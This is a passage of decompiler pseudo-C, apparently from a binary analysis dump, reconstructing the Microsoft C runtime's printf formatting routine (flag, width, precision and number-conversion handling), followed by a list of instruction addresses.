																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	case 1:
																		L59:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L61;
																	case 2:
																		L40:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L61;
																	case 3:
																		L60:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L61;
																	case 4:
																		goto L61;
																}
															case 7:
																L62:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x30c) = __ecx;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																__eflags =  *(__ebp - 0x30c) - 0x37;
																if( *(__ebp - 0x30c) > 0x37) {
																	while(1) {
																		L181:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
																L63:
																_t147 =  *(__ebp - 0x30c) + 0x4281b4; // 0xcccccc0d
																__ecx =  *_t147 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00428178))) {
																	case 0:
																		L114:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L115;
																	case 1:
																		L64:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L66;
																	case 2:
																		L79:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L81;
																	case 3:
																		L137:
																		 *(__ebp - 0x260) = 7;
																		goto L139;
																	case 4:
																		L72:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x284) = E00428360(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x284);
																		if( *(__ebp - 0x284) == 0) {
																			L74:
																			__edx =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																			L78:
																			goto L181;
																		}
																		L73:
																		__ecx =  *(__ebp - 0x284);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L78;
																		}
																		goto L74;
																	case 5:
																		L115:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L117:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L120:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L122:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B750(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				_t274 = __eax - 8; // 0xe852f855
																				__ecx =  *_t274;
																				_t275 = __eax - 4; // 0xbc20
																				__edx =  *_t275;
																				 *(__ebp - 0x2a0) =  *_t274;
																				 *(__ebp - 0x29c) =  *_t275;
																				__ecx = __ebp - 0x40;
																				_push(E0041ACE0(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a0;
																				_push(__ebp - 0x2a0);
																				__eax =  *0x440374; // 0xf2632e26
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACE0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xf2d1ae26
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACE0(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0xf2c8ae26
																						E00424550(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																				do {
																					L181:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L207;
																					}
																					goto L182;
																				} while ( *(__ebp - 0x30c) > 0x37);
																				goto L63;
																			}
																			L118:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L120;
																			}
																			L119:
																			 *(__ebp - 0x30) = 1;
																			goto L122;
																		}
																		L116:
																		 *(__ebp - 0x30) = 6;
																		goto L122;
																	case 6:
																		L66:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L70:
																			__ebp + 0x14 = E00428360(__ebp + 0x14);
																			 *(__ebp - 0x280) = __ax;
																			__cl =  *(__ebp - 0x280);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																			L71:
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																		L67:
																		 *(__ebp - 0x27c) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E004283A0(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x27c) = E00434220(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x27c);
																		if( *(__ebp - 0x27c) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																		L69:
																		goto L71;
																	case 7:
																		L135:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		goto L144;
																	case 8:
																		L100:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x294) = E00428360(__ebp + 0x14);
																		__eax = E00433F00();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L110:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x294);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x294);
																				 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																		L101:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x314) = 0;
																		} else {
																			 *(__ebp - 0x314) = 1;
																		}
																		__eax =  *(__ebp - 0x314);
																		 *(__ebp - 0x298) =  *(__ebp - 0x314);
																		__eflags =  *(__ebp - 0x298);
																		if( *(__ebp - 0x298) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E210();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x298);
																		if( *(__ebp - 0x298) != 0) {
																			L109:
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		} else {
																			L108:
																			 *((intOrPtr*)(L00422D00(__ecx))) = 0x16;
																			__eax = E00422A90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2e8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041ACB0(__ecx);
																			__eax =  *(__ebp - 0x2e8);
																			L211:
																			return E0042BCB0(_t478, _t497,  *(_t524 - 0x48) ^ _t524, _t513, _t522, _t523);
																		}
																	case 9:
																		L142:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428360(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428360(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428360(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428380(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428380(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																	case 0xa:
																		goto L0;
																	case 0xb:
																		L81:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x310) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x310) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x310);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00428360(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L92:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x288) =  *(__ebp - 4);
																			while(1) {
																				L95:
																				__ecx =  *(__ebp - 0x28c);
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L96:
																				__eax =  *(__ebp - 0x288);
																				__ecx =  *( *(__ebp - 0x288));
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L97:
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																			}
																			L98:
																			__eax =  *(__ebp - 0x288);
																			__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																			__eflags = __eax;
																			 *(__ebp - 0x24) = __eax;
																			goto L99;
																		} else {
																			L85:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f84; // 0x404438
																				 *(__ebp - 4) = __eax;
																			}
																			 *(__ebp - 0xc) = 1;
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x290) =  *(__ebp - 4);
																			while(1) {
																				L88:
																				__edx =  *(__ebp - 0x28c);
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				__eflags =  *(__ebp - 0x28c);
																				if( *(__ebp - 0x28c) == 0) {
																					break;
																				}
																				L89:
																				__ecx =  *(__ebp - 0x290);
																				__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x290)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L90:
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																			}
																			L91:
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																			__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																			 *(__ebp - 0x24) = __ecx;
																			L99:
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																	case 0xc:
																		L136:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2ac) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b0) = E00428380(__ebp + 0x14);
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428380(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L161;
																			}
																			goto L157;
																		}
																	case 0xd:
																		L138:
																		 *(__ebp - 0x260) = 0x27;
																		L139:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			 *(__ebp - 0x14) = 0x30;
																			 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																			__eflags =  *(__ebp - 0x260) + 0x51;
																			 *((char*)(__ebp - 0x13)) = __al;
																			 *(__ebp - 0x1c) = 2;
																		}
																		while(1) {
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2ac) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b0) = E00428380(__ebp + 0x14);
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428380(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L161;
																			}
																			goto L157;
																		}
																	case 0xe:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																}
															case 8:
																L21:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																goto L24;
															case 9:
																L22:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L24;
															case 0xa:
																L20:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) = __ecx;
																goto L24;
															case 0xb:
																L19:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L24;
															case 0xc:
																L23:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																goto L24;
															case 0xd:
																L24:
																goto L209;
														}
													}
													L210:
													 *(_t524 - 0x2ec) =  *(_t524 - 0x24c);
													E0041ACB0(_t524 - 0x40);
													_t478 =  *(_t524 - 0x2ec);
													goto L211;
												}
											}
											L178:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L180:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L181;
											}
											L179:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L181;
											}
											goto L180;
										}
										L174:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x2b4);
										__edx =  *(__ebp - 0x2b8);
										__eax = E00430780( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8),  *(__ebp - 0x2b8));
										 *(__ebp - 0x2a4) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x2b4);
										__ecx =  *(__ebp - 0x2b8);
										 *(__ebp - 0x2b8) = E00430800( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8), __edx);
										 *(__ebp - 0x2b4) = __edx;
										__eflags =  *(__ebp - 0x2a4) - 0x39;
										if( *(__ebp - 0x2a4) > 0x39) {
											__edx =  *(__ebp - 0x2a4);
											__edx =  *(__ebp - 0x2a4) +  *(__ebp - 0x260);
											__eflags = __edx;
											 *(__ebp - 0x2a4) = __edx;
										}
										__eax =  *(__ebp - 4);
										__cl =  *(__ebp - 0x2a4);
										 *( *(__ebp - 4)) = __cl;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L172:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L174;
										}
										goto L173;
									}
								}
								L159:
								__eflags =  *(__ebp - 0x2b0);
								if( *(__ebp - 0x2b0) >= 0) {
									goto L161;
								}
								goto L160;
								L161:
								__ecx =  *(__ebp - 0x2b0);
								 *(__ebp - 0x2b8) =  *(__ebp - 0x2b0);
								__edx =  *(__ebp - 0x2ac);
								 *(__ebp - 0x2b4) =  *(__ebp - 0x2ac);
								goto L162;
							}
						}
					}
				}
			}

0x00427bc5
0x00427bc5
0x00427bc5
0x00427bc5
0x00427bcc
0x00427bcc
0x00427bcc
0x00427be2
0x00427be2
0x00427be2
0x00427bec
0x00427bec
0x00427bf2
0x00427bf4
0x00427bfe
0x00427bfe
0x00427c01
0x00427c04
0x00427c04
0x00427c2b
0x00427c2b
0x00427c2e
0x00427c2e
0x00427c33
0x00427c55
0x00427c55
0x00427c5b
0x00427c7d
0x00427c7d
0x00427c80
0x00427cc7
0x00427cc7
0x00427cca
0x00427ce7
0x00427ceb
0x00427cf3
0x00427cf3
0x00427cf5
0x00427cfb
0x00427ccc
0x00427ccc
0x00427cd0
0x00427cd8
